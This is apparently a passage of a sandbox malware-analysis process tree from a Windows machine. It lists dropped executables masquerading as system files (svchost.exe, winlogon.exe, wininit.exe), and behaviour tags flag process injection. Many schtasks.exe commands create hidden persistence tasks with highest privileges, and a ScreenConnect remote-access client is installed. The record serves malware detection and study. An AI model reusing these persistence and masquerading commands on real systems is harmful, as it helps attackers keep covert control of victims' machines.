    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xfc,0x10c,0x7ff8e9f1cc40,0x7ff8e9f1cc4c,0x7ff8e9f1cc58
    3⤵
    PID:9788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1644,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=1800 /prefetch:2
    3⤵
    PID:5888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --disable-quic --disable-http2 --no-appcompat-clear --field-trial-handle=1800,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2092 /prefetch:3
    3⤵
    PID:3200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --disable-quic --disable-http2 --no-appcompat-clear --field-trial-handle=2180,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=2192 /prefetch:8
    3⤵
    PID:7972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3112,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3120 /prefetch:1
    3⤵
    PID:5628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3296,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3316 /prefetch:1
    3⤵
    PID:9224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4520,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4504 /prefetch:1
    3⤵
    PID:9084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=3908,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4372 /prefetch:1
    3⤵
    PID:5704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --disable-quic --disable-http2 --no-appcompat-clear --field-trial-handle=3232,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3076 /prefetch:8
    3⤵
    PID:9776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --disable-http2 --no-appcompat-clear --field-trial-handle=3212,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4768 /prefetch:8
    3⤵
    PID:10464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --disable-quic --disable-http2 --no-appcompat-clear --field-trial-handle=3604,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3492 /prefetch:8
    3⤵
    PID:10752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --disable-quic --disable-http2 --no-appcompat-clear --field-trial-handle=4688,i,8561595385115499819,10732548104302162784,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4808 /prefetch:8
    3⤵
    PID:11160
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  PID:9104
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    3⤵
    PID:9120
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1920 -parentBuildID 20240401114208 -prefsHandle 1836 -prefMapHandle 1828 -prefsLen 23735 -prefMapSize 244757 -appDir "C:\Program Files\Mozilla Firefox\browser" - {40438df1-fa29-420b-85af-b609cfdd28d3} 9120 "\\.\pipe\gecko-crash-server-pipe.9120" gpu
      4⤵
      PID:712
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2332 -parentBuildID 20240401114208 -prefsHandle 2308 -prefMapHandle 2304 -prefsLen 23771 -prefMapSize 244757 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6f4debd2-a590-4c9d-9c24-17329eafa75d} 9120 "\\.\pipe\gecko-crash-server-pipe.9120" socket
      4⤵
      PID:1580
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3296 -childID 1 -isForBrowser -prefsHandle 3076 -prefMapHandle 3228 -prefsLen 23912 -prefMapSize 244757 -jsInitHandle 1312 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4f0e0767-64a5-4da8-9392-7883bf32a1b9} 9120 "\\.\pipe\gecko-crash-server-pipe.9120" tab
      4⤵
      PID:8536
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3524 -childID 2 -isForBrowser -prefsHandle 3188 -prefMapHandle 2916 -prefsLen 21809 -prefMapSize 244757 -jsInitHandle 1312 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {43ff0f19-39b7-43dc-b5ee-dedb535dfff3} 9120 "\\.\pipe\gecko-crash-server-pipe.9120" tab
      4⤵
      PID:8220
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3732 -childID 3 -isForBrowser -prefsHandle 3724 -prefMapHandle 3720 -prefsLen 21809 -prefMapSize 244757 -jsInitHandle 1312 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {49f990b8-aee3-473d-aa1b-9f9c40697f50} 9120 "\\.\pipe\gecko-crash-server-pipe.9120" tab
      4⤵
      PID:1776
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3872 -childID 4 -isForBrowser -prefsHandle 3880 -prefMapHandle 3884 -prefsLen 21809 -prefMapSize 244757 -jsInitHandle 1312 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {089eb694-b2a4-41a7-a36a-18dce3adb2b2} 9120 "\\.\pipe\gecko-crash-server-pipe.9120" tab
      4⤵
      PID:5880
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4856 -childID 5 -isForBrowser -prefsHandle 4848 -prefMapHandle 4844 -prefsLen 28985 -prefMapSize 244757 -jsInitHandle 1312 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {533fa3fc-ffef-4742-9d47-5b39fa755339} 9120 "\\.\pipe\gecko-crash-server-pipe.9120" tab
      4⤵
      PID:6264
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5784 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 5648 -prefMapHandle 5636 -prefsLen 29977 -prefMapSize 244757 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4fde1503-c425-4613-a1e8-63890cd69ed8} 9120 "\\.\pipe\gecko-crash-server-pipe.9120" utility
      4⤵
      PID:12060
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:13220
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:13224
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:13232
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:13240
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:13252
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:13284
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:10956
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:11408
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:9212
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:12424
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:12452
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:12396
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:12380
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:12368
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:12356
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:12352
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
  2⤵
  PID:12320
- C:\Users\Admin\Desktop\Files\Mswgoudnv.exe
  "C:\Users\Admin\Desktop\Files\Mswgoudnv.exe"
  2⤵
  PID:10708
- C:\ProgramData\ejrobxh\sspp.exe
  "C:\ProgramData\ejrobxh\sspp.exe"
  2⤵
  PID:11424

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4664

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:6076

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
PID:1340

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}
1⤵
- Drops startup file
PID:5804

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
- Executes dropped EXE
PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 7588 -ip 7588
1⤵
PID:7192

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\399e2240e46c4d25aabdf843240cebbd /t 6272 /p 6268
1⤵
PID:2092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 6744 -ip 6744
1⤵
PID:7840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files\VideoLAN\VLC\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\VideoLAN\VLC\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\VideoLAN\VLC\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "jerniuiopuj" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\jerniuiopu.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "jerniuiopu" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\jerniuiopu.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "jerniuiopuj" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\jerniuiopu.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chromec" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chromec" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegAsmR" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\RegAsm.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegAsm" /sc ONLOGON /tr "'C:\Users\Admin\RegAsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegAsmR" /sc MINUTE /mo 8 /tr "'C:\Users\Admin\RegAsm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "loader_5879465914l" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Media Player\de-DE\loader_5879465914.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "loader_5879465914" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\de-DE\loader_5879465914.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "loader_5879465914l" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Media Player\de-DE\loader_5879465914.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "43634634634643634634634634" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\4363463463464363463463463.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "4363463463464363463463463" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\4363463463464363463463463.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "43634634634643634634634634" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\4363463463464363463463463.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "freedomf" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\freedom.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "freedom" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\freedom.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "freedomf" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\freedom.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Windows\es-ES\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\es-ES\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Windows\es-ES\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AppLaunchA" /sc MINUTE /mo 6 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\AppLaunch.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AppLaunch" /sc ONLOGON /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\AppLaunch.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "AppLaunchA" /sc MINUTE /mo 9 /tr "'C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\AppLaunch.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Neverlose%20LoaderN" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\Local Settings\Neverlose%20Loader.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Neverlose%20Loader" /sc ONLOGON /tr "'C:\Users\Admin\Local Settings\Neverlose%20Loader.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Neverlose%20LoaderN" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Local Settings\Neverlose%20Loader.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Media Player\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Media Player\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4364 -ip 4364
1⤵
PID:6408

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
PID:7944

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
PID:7952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 8144 -ip 8144
1⤵
PID:1212

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6316
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E0175A19658D402D01994D7AA9A99B91 C
  2⤵
  PID:7480
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFBCA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241433609 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:6140
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:6368
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E002DEB54C5225EFEB5F33D2E54A8AF8
  2⤵
  PID:9428
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EBDC65BC9C3396AE7675362EE67520AF E Global\MSI0000
  2⤵
  PID:9760
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 237BC7236A94675F3AB3E46B7B0A44F8
  2⤵
  PID:10852

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:3044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 1540 -ip 1540
1⤵
PID:2448

C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
1⤵
PID:7072

C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
1⤵
PID:6560
- C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe
  "C:\Users\Admin\AppData\Local\Temp\69c36458f5\ednfosi.exe"
  2⤵
  PID:4572

C:\Users\Admin\Windows.exe
C:\Users\Admin\Windows.exe
1⤵
PID:3624

C:\Users\Admin\AppData\Roaming\svchost.exe
C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
PID:1744

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
PID:5228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4144 -ip 4144
1⤵
PID:3252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 4144 -ip 4144
1⤵
PID:8648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4144 -ip 4144
1⤵
PID:9728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 396 -p 4144 -ip 4144
1⤵
PID:9204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4144 -ip 4144
1⤵
PID:3576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 6264 -ip 6264
1⤵
PID:9116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 6964 -ip 6964
1⤵
PID:7124

C:\Program Files (x86)\ScreenConnect Client (c13606fe9009f11d)\ScreenConnect.ClientService.exe
